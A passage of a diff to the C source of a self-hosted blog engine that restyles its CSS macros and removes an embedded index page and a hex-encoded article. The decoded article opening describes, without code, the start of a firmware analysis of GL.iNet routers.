CSS_PROPERTY("display", "table") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("pre") \ - CSS_PROPERTY("padding", "1em") \ - CSS_PROPERTY("border", "1px solid #111") \ - CSS_PROPERTY("background-color", "#9a9091") \ - CSS_PROPERTY("color", "#111") \ - CSS_PROPERTY("clear", "both") \ - CSS_PROPERTY("padding-top", "0.25em") \ - CSS_PROPERTY("padding-bottom", "0.25em") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR(".sourceCode") \ - CSS_PROPERTY("overflow", "auto") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("pre::-webkit-scrollbar") \ - CSS_PROPERTY("display", "none") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("a") \ - CSS_PROPERTY("text-decoration", "none") \ - CSS_PROPERTY("color", "var(--main-link-color)") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("a:visted") \ - CSS_PROPERTY("color", "var(--main-link-color)") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR(".modal") \ - CSS_PROPERTY("position", "fixed") \ - CSS_PROPERTY("top", "0") \ - CSS_PROPERTY("left", "0") \ - CSS_PROPERTY("width", "100%") \ - CSS_PROPERTY("height", "100%") \ - CSS_PROPERTY("background-color", "rgba(0,0,0,0.7)") \ - CSS_PROPERTY("z-index", "9999") \ - CSS_PROPERTY("cursor", "zoom-out") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR(".modal img") \ - CSS_PROPERTY("min-height", "80vh") \ - CSS_PROPERTY("max-height", "80vh") \ - CSS_PROPERTY("width", "auto") \ - CSS_PROPERTY("max-width", "95vw") \ - CSS_PROPERTY("position", "absolute") \ - CSS_PROPERTY("top", "50%") \ - CSS_PROPERTY("left", "50%") \ - CSS_PROPERTY("transform", "translate(-50%, -50%)") \ - CSS_PROPERTY("margin", "0") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR(".zoomable") \ - CSS_PROPERTY("max-width", "60vw") \ - CSS_PROPERTY("max-height", "45vh") \ +#define MAIN_CSS \ + CSS_COMMENT("main.css") \ + CSS_NEWLINE() \ + CSS_SELECTOR(":root") \ + CSS_PROPERTY("--main-link-color", "#215fc2") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("html") \ + CSS_PROPERTY("margin", "0") \ + CSS_PROPERTY("padding", "0") \ + CSS_PROPERTY("width", "100%") \ + CSS_PROPERTY("height", "100vh") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("body") \ + CSS_PROPERTY("margin", "auto") \ + CSS_PROPERTY("max-width", "60em") \ + CSS_PROPERTY("min-height", "100vh") \ + CSS_PROPERTY("font-family", "monospace") \ + CSS_PROPERTY("font-size", "1.23em") \ + CSS_PROPERTY("background-color", "#ddd") \ + CSS_PROPERTY("display", "flex") \ + CSS_PROPERTY("flex-direction", "column") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("nav#TOC > ul") \ + CSS_PROPERTY("list-style-type", "decimal") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("nav#TOC ul li") \ + CSS_PROPERTY("margin-bottom", "1em") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("#title-block-header, #TOC") \ + CSS_PROPERTY("border", "1px solid #222") \ + CSS_PROPERTY("border-radius", "15px") \ + CSS_PROPERTY("background-color", "#ccc") \ + CSS_PROPERTY("color", "#000") \ + CSS_PROPERTY("margin", "1em") \ + CSS_PROPERTY("padding", "1em") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("footer") \ + CSS_PROPERTY("border", "1px solid #222") \ + CSS_PROPERTY("border-radius", "15px") \ + CSS_PROPERTY("background-color", "#ccc") \ + CSS_PROPERTY("color", "#000") \ + CSS_PROPERTY("flex-shrink", "0") \ + CSS_PROPERTY("display", "flex") \ + CSS_PROPERTY("flex-direction", "column") \ + CSS_PROPERTY("justify-content", "center") \ + CSS_PROPERTY("align-items", "center") \ + CSS_PROPERTY("font-size", "0.9em") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("div.hearth") \ + CSS_PROPERTY("display", "flex") \ + CSS_PROPERTY("justify-content", "center") \ + CSS_PROPERTY("align-items", "center") \ + CSS_PROPERTY("margin-left", "0.2em") \ + CSS_PROPERTY("margin-right", "0.2em") \ + CSS_PROPERTY("font-size", "1.5em") \ + CSS_PROPERTY("padding", "0px") \ + CSS_PROPERTY("animation", "bounce 1s infinite") \ + CSS_PROPERTY("color", "#d00000") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("b.author") \ + CSS_PROPERTY("color", "#000") \ + CSS_PROPERTY("text-transform", "uppercase") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("p.author::before") \ + CSS_PROPERTY("text-transform", "lowercase") \ + CSS_PROPERTY("font-weight", "normal") \ + CSS_PROPERTY("content", "\"by \"") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("p.date::before") \ + CSS_PROPERTY("text-transform", "lowercase") \ + CSS_PROPERTY("font-weight", "normal") \ + CSS_PROPERTY("content", "\"updated on \"") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("p.date") \ + CSS_PROPERTY("text-transform", "capitalize") \ + CSS_PROPERTY("font-weight", "bold") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("p.author") \ + CSS_PROPERTY("text-transform", "uppercase") \ + CSS_PROPERTY("font-weight", "bold") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("h1.title") \ + CSS_PROPERTY("text-align", "center") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("section") \ + CSS_PROPERTY("margin", "1em") \ + CSS_PROPERTY("flex", "1 0 auto") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("h1, h2, h3, h4, h5, h6") \ + CSS_PROPERTY("font-family", "monospace") \ + CSS_PROPERTY("clear", "both") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("img") \ + CSS_PROPERTY("padding", "2px") \ + CSS_PROPERTY("border", "2px dashed #333") \ + CSS_PROPERTY("background-color", "#fff") \ + CSS_PROPERTY("color", "#000") \ + CSS_PROPERTY("height", "15em") \ + CSS_PROPERTY("float", "right") \ + CSS_PROPERTY("clear", "right") \ + CSS_PROPERTY("margin-left", "1em") \ + CSS_PROPERTY("margin-bottom", "1em") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("figcaption") \ + CSS_PROPERTY("display", "none") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("@keyframes bounce") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("from, to") \ + CSS_PROPERTY("transform", "scale(1, 1)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("25%") \ + CSS_PROPERTY("transform", "scale(0.9, 1.1)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("50%") \ + CSS_PROPERTY("transform", "scale(1.1, 0.9)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("75%") \ + CSS_PROPERTY("transform", "scale(0.95, 1.05)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("header ~ *") \ + CSS_PROPERTY("margin", "1em") \ + CSS_PROPERTY("padding", "1em") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("footer > span") \ + CSS_PROPERTY("display", "flex") \ + CSS_PROPERTY("text-align", "center") \ + CSS_PROPERTY("justify-content", "center") \ + CSS_PROPERTY("align-items", "center") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("strong") \ + CSS_PROPERTY("font-weight", "bold") \ + CSS_PROPERTY("color", "rgb(130, 12, 12)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("a > strong") \ + CSS_PROPERTY("text-decoration", "none") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("a:hover > strong") \ + CSS_PROPERTY("text-decoration", "underline") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre") \ + CSS_PROPERTY("padding", "1rem") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("div.sourceCode") \ + CSS_PROPERTY("background-color", "#ffd") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre, code") \ + CSS_PROPERTY("font-family", "\"Fira Code\", monospace") \ + CSS_PROPERTY("background-color", "#ffd") \ + CSS_PROPERTY("color", "#1e1e1e") \ + CSS_PROPERTY("overflow", "auto") \ + CSS_PROPERTY("max-height", "500px") \ + CSS_PROPERTY("line-height", "1.6") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre") \ + CSS_PROPERTY("margin", "1em 0") \ + CSS_PROPERTY("line-height", "1.5") \ + CSS_PROPERTY("font-size", "0.9em") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre::-webkit-scrollbar, code::-webkit-scrollbar, div.sourceCode::-webkit-scrollbar") \ + CSS_PROPERTY("width", "15px") \ + CSS_PROPERTY("height", "15px") \ + CSS_PROPERTY("background-color", "#ffd") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre::-webkit-scrollbar-thumb, code::-webkit-scrollbar-thumb, div.sourceCode::-webkit-scrollbar-thumb") \ + CSS_PROPERTY("background-color", "#dcdcba") \ + CSS_PROPERTY("border-radius", "6px") \ + CSS_PROPERTY("border", "1px solid #fff") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre::-webkit-scrollbar-track, code::-webkit-scrollbar-track, div.sourceCode::-webkit-scrollbar-track") \ + CSS_PROPERTY("background-color", "#ffd") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre.numberSource") \ + CSS_PROPERTY("padding-left", "3.5em") \ + CSS_PROPERTY("counter-reset", "line-number") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("pre.numberSource code > span::before") \ + CSS_PROPERTY("counter-increment", "line-number") \ + CSS_PROPERTY("content", "counter(line-number)") \ + CSS_PROPERTY("display", "inline-block") \ + CSS_PROPERTY("width", "2.5em") \ + CSS_PROPERTY("margin-right", "1em") \ + CSS_PROPERTY("color", "#666") \ + CSS_PROPERTY("text-align", "right") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("blockquote img") \ + CSS_PROPERTY("clear", "none") \ + CSS_PROPERTY("height", "auto") \ + CSS_PROPERTY("max-height", "32em") \ + CSS_PROPERTY("max-width", "100%") \ + CSS_PROPERTY("float", "none") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("blockquote") \ + CSS_PROPERTY("padding", "1em") \ + CSS_PROPERTY("color", "#111") \ + CSS_PROPERTY("clear", "both") \ + CSS_PROPERTY("padding-top", "0.25em") \ + CSS_PROPERTY("padding-bottom", "0.25em") \ + CSS_PROPERTY("width", "auto") \ + CSS_PROPERTY("margin", "0 auto") \ + CSS_PROPERTY("display", "table") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("a") \ + CSS_PROPERTY("text-decoration", "none") \ + CSS_PROPERTY("color", "var(--main-link-color)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR("a:visited") \ + CSS_PROPERTY("color", "var(--main-link-color)") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR(".modal") \ + CSS_PROPERTY("position", "fixed") \ + CSS_PROPERTY("top", "0") \ + CSS_PROPERTY("left", "0") \ + CSS_PROPERTY("width", "100%") \ + CSS_PROPERTY("height", "100%") \ + CSS_PROPERTY("background-color", "rgba(0, 0, 0, 0.7)") \ + CSS_PROPERTY("z-index", "9999") \ + CSS_PROPERTY("cursor", "zoom-out") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR(".modal img") \ + CSS_PROPERTY("min-height", "80vh") \ + CSS_PROPERTY("max-height", "80vh") \ + CSS_PROPERTY("width", "auto") \ + CSS_PROPERTY("max-width", "95vw") \ + CSS_PROPERTY("position", "absolute") \ + CSS_PROPERTY("top", "50%") \ + CSS_PROPERTY("left", "50%") \ + CSS_PROPERTY("transform", "translate(-50%, -50%)") \ + CSS_PROPERTY("margin", "0") \ + CSS_END_SELECTOR() \ + CSS_SELECTOR(".zoomable") \ + CSS_PROPERTY("max-width", "60vw") \ + CSS_PROPERTY("max-height", "45vh") \ CSS_END_SELECTOR() -#define INDEX_MD \ - MD_META("DZONERZY's Blog", "DZONERZY") \ - MD_META_CUSTOM("Thursday, 21 June, 2024") \ - MD_NEWLINE() \ - MD_SECTION1("About") \ - MD_IMAGE_ATTR("Picture of DZONERZY", "assets/dzonerzy.jpg.webp", "class", "zoomable") \ - MD_TEXT("Hello world here is dzonerzy, also known as Daniele Linguaglossa, ") \ - MD_TEXT("I'm an offensive security researcher and developer.") \ - MD_NEWLINE() \ - MD_TEXT("I'm the author of this blog, and I'm using it to share my ") \ - MD_TEXT("researches and my projects.") \ - MD_NEWLINE() \ - MD_TEXT("I'm also the author of the library that powers this blog, ") \ - MD_TEXT("yes you heard right, this blog is powered by a ") \ - MD_BOLD("shared object") \ - MD_TEXT(" that I wrote in C!") \ - MD_NEWLINE() \ - MD_TEXT("You can find the source code of this blog in my ") \ - MD_LINK("git repository", "https://git.libdzonerzy.so/dzonerzy/libdzonerzy.so") \ - MD_TEXT(".") \ - MD_NEWLINE() \ - MD_SECTION1("Projects") \ - MD_TEXT("Here is a list of the projects that I made in my spare time, some of them are ") \ - MD_TEXT("still in development, but I'm looking forward to finish them all.") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD(MD_LINK("libdzonerzy.so", "https://git.libdzonerzy.so/dzonerzy/libdzonerzy.so"))) \ - MD_TEXT(" -- libdzonerzy.so is a shared object that I wrote in C, it's the library ") \ - MD_TEXT("that I use to power this blog.") \ - MD_NEWLINE() \ - MD_SECTION1("Articles") \ - MD_TEXT("Below you can find a list of my articles, I'm writing about ") \ - MD_TEXT("offensive security and programming, and also about ") \ - MD_TEXT("my projects.") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD(MD_LINK("From zero to botnet", \ - "/articles/from-zero-to-botnet-glinet.html"))) \ - MD_TEXT(" -- GL.iNet going wild") \ - MD_NEWLINE() \ - MD_SECTION1("Advisories") \ - MD_TEXT("Below you can find a list of my CVEs.") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD(MD_LINK("CVE-2023-46453", "/advisory/CVE-2023-46453.txt"))) \ - MD_TEXT(" -- GL.iNet 4.X Authentication Bypass + Privilege Escalation (RCE)") \ - MD_NEWLINE() \ - MD_SECTION1("FAQ") \ - MD_TEXT("Here is a list of frequently asked questions, if you have any other question ") \ - MD_TEXT("feel free to contact me at ") \ - MD_BOLD("dzonerzy[at]gmail.com") \ - MD_TEXT(".") \ - MD_NEWLINE() \ - MD_SECTION4(" ") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD("Q: ") MD_TEXT("Why this blog is so ugly?")) \ - MD_NEWLINE() \ - MD_TEXT("Because I'm not a web designer, I'm a developer, and I'm not good at ") \ - MD_TEXT("designing things, but I'm working on it, I promise.") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD("Q: ") MD_TEXT("Why this blog is so fast?")) \ - MD_NEWLINE() \ - MD_TEXT("Actually this is a static website, so it's very fast.") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD("Q: ") MD_TEXT("What do you do for living?")) \ - MD_NEWLINE() \ - MD_TEXT("I'm currently working at ") \ - MD_LINK("RevEng.AI", "https://reveng.ai/") \ - MD_TEXT(", where reversing meets artificial intelligence.") \ - MD_NEWLINE() \ - MD_LIST(MD_BOLD("Q: ") MD_TEXT("Is RevEng.AI hiring?")) \ - MD_NEWLINE() \ - MD_TEXT("Yes, we are always looking for new talents, if you are interested in working ") \ - MD_TEXT("with me, feel free to send your resume at ... try to find it, after all it's still ") \ - MD_TEXT("\"inside\" the shared object.") \ - MD_NEWLINE() - #define FOOTER_HTML \ MD_RAWTAG("footer", "" \ "" \ @@ -380,8 +343,6 @@ int main(int argc, char **argv) // resources SECTION("main.css") static const char maincss[] = MAIN_CSS; -SECTION("pages/index.md") -static const char indexmd[] = INDEX_MD; SECTION("footer.html") static const char footerhtml[] = FOOTER_HTML; SECTION("scripts.html") @@ -390,5 +351,3 @@ SECTION("main.js") static const char mainjs[] = MAIN_JS; SECTION("sitemap.xml") static const char sitemapxml[] = SITEMAP_XML; -ARTICLE("from-zero-to-botnet-glinet") -static const char zerotobot[] = {0x25, 0x20, 0x46, 0x72, 0x6F, 0x6D, 0x20, 0x7A, 0x65, 0x72, 0x6F, 0x20, 0x74, 0x6F, 0x20, 0x62, 0x6F, 0x74, 0x6E, 0x65, 0x74, 0x20, 0x2D, 0x2D, 0x20, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x77, 0x69, 0x6C, 0x64, 0x0A, 0x25, 0x20, 0x44, 0x5A, 0x4F, 0x4E, 0x45, 0x52, 0x5A, 0x59, 0x0A, 0x25, 0x20, 0x54, 0x68, 0x75, 0x72, 0x73, 0x64, 0x61, 0x79, 0x2C, 0x20, 0x20, 0x4F, 0x63, 0x74, 0x6F, 0x62, 0x65, 0x72, 0x20, 0x31, 0x39, 0x2C, 0x20, 0x32, 0x30, 0x32, 0x33, 0x0A, 0x23, 0x20, 0x42, 0x6F, 0x72, 0x65, 0x64, 0x6F, 0x6D, 0x2C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x62, 0x61, 0x64, 0x20, 0x67, 0x75, 0x79, 0x0A, 0x21, 0x5B, 0x50, 0x69, 0x63, 0x74, 0x75, 0x72, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x62, 0x6F, 0x72, 0x65, 0x64, 0x2D, 0x68, 0x61, 0x63, 0x6B, 0x65, 0x72, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x49, 0x74, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x20, 0x61, 0x20, 0x66, 0x65, 0x77, 0x20, 0x64, 0x61, 0x79, 0x73, 0x20, 0x61, 0x67, 0x6F, 0x3B, 0x20, 0x61, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6E, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x6D, 0x69, 0x6E, 0x65, 0x2C, 0x20, 0x4D, 0x69, 0x63, 0x68, 0x65, 0x6C, 0x65, 0x2C, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x63, 0x74, 0x65, 0x64, 0x20, 0x6D, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x73, 0x61, 0x69, 0x64, 0x20, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x61, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x27, 0x73, 0x20, 0x6C, 0x61, 0x74, 0x65, 0x73, 0x74, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x2E, 0x20, 0x54, 0x68, 0x65, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x6E, 0x20, 0x52, 0x43, 0x45, 0x20, 0x28, 0x52, 0x65, 0x6D, 0x6F, 0x74, 0x65, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x29, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x77, 0x65, 0x64, 0x20, 0x61, 0x6E, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x20, 0x61, 0x72, 0x62, 0x69, 0x74, 0x72, 0x61, 0x72, 0x79, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x2E, 0x0A, 0x0A, 0x48, 0x65, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x61, 0x73, 0x6B, 0x65, 0x64, 0x20, 0x6D, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x68, 0x65, 0x6C, 0x70, 0x20, 0x68, 0x69, 0x6D, 0x20, 0x27, 0x63, 0x61, 0x75, 0x73, 0x65, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x20, 0x70, 0x6F, 0x73, 0x74, 0x2D, 0x61, 0x75, 0x74, 0x68, 0x20, 0x52, 0x43, 0x45, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x20, 0x64, 0x69, 0x64, 0x6E, 0x27, 0x74, 0x20, 0x6B, 0x6E, 0x6F, 0x77, 0x20, 0x68, 0x6F, 0x77, 0x20, 0x74, 0x6F, 0x20, 0x62, 0x79, 0x70, 0x61, 0x73, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x20, 0x70, 0x61, 0x67, 0x65, 0x2E, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x6E, 0x20, 0x62, 0x79, 0x20, 0x63, 0x75, 0x72, 0x69, 0x6F, 0x73, 0x69, 0x74, 0x79, 0x2C, 0x20, 0x49, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x6E, 0x61, 0x6C, 0x79, 0x7A, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x49, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x69, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x20, 0x6D, 0x69, 0x78, 0x20, 0x6F, 0x66, 0x20, 0x68, 0x61, 0x72, 0x6D, 0x66, 0x75, 0x6C, 0x20, 0x70, 0x72, 0x61, 0x63, 0x74, 0x69, 0x63, 0x65, 0x73, 0x2C, 0x20, 0x70, 0x6F, 0x6F, 0x72, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x6D, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x6B, 0x69, 0x6C, 0x6C, 0x73, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x61, 0x20, 0x6C, 0x6F, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x66, 0x75, 0x6E, 0x2E, 0x0A, 0x0A, 0x23, 0x20, 0x54, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x2C, 0x20, 0x62, 0x69, 0x6E, 0x77, 0x61, 0x6C, 0x6B, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x73, 0x63, 0x75, 0x65, 0x0A, 0x21, 0x5B, 0x42, 0x69, 0x6E, 0x61, 0x72, 0x79, 0x20, 0x77, 0x61, 0x6C, 0x6B, 0x69, 0x6E, 0x67, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x62, 0x69, 0x6E, 0x77, 0x61, 0x6C, 0x6B, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x73, 0x74, 0x20, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x49, 0x20, 0x64, 0x69, 0x64, 0x20, 0x77, 0x61, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x6E, 0x61, 0x6C, 0x79, 0x7A, 0x65, 0x20, 0x69, 0x74, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x62, 0x69, 0x6E, 0x77, 0x61, 0x6C, 0x6B, 0x2C, 0x20, 0x61, 0x20, 0x74, 0x6F, 0x6F, 0x6C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x77, 0x73, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x74, 0x6F, 0x20, 0x2A, 0x77, 0x61, 0x6C, 0x6B, 0x2A, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x69, 0x6E, 0x61, 0x72, 0x79, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x65, 0x61, 0x63, 0x68, 0x20, 0x62, 0x79, 0x74, 0x65, 0x20, 0x61, 0x67, 0x61, 0x69, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x20, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x6B, 0x6E, 0x6F, 0x77, 0x6E, 0x20, 0x6D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2E, 0x0A, 0x0A, 0x42, 0x79, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x62, 0x69, 0x6E, 0x77, 0x61, 0x6C, 0x6B, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x20, 0x2A, 0x2A, 0x4C, 0x69, 0x6E, 0x75, 0x78, 0x2D, 0x35, 0x2E, 0x31, 0x30, 0x2E, 0x31, 0x37, 0x36, 0x2A, 0x2A, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x4C, 0x5A, 0x4D, 0x41, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x20, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x20, 0x69, 0x74, 0x73, 0x65, 0x6C, 0x66, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x53, 0x71, 0x75, 0x61, 0x73, 0x68, 0x46, 0x53, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2C, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x79, 0x70, 0x69, 0x63, 0x61, 0x6C, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x20, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2E, 0x20, 0x0A, 0x0A, 0x57, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x73, 0x74, 0x65, 0x64, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x71, 0x75, 0x61, 0x73, 0x68, 0x46, 0x53, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x20, 0x73, 0x69, 0x6E, 0x63, 0x65, 0x20, 0x69, 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x73, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x62, 0x65, 0x20, 0x65, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x65, 0x64, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 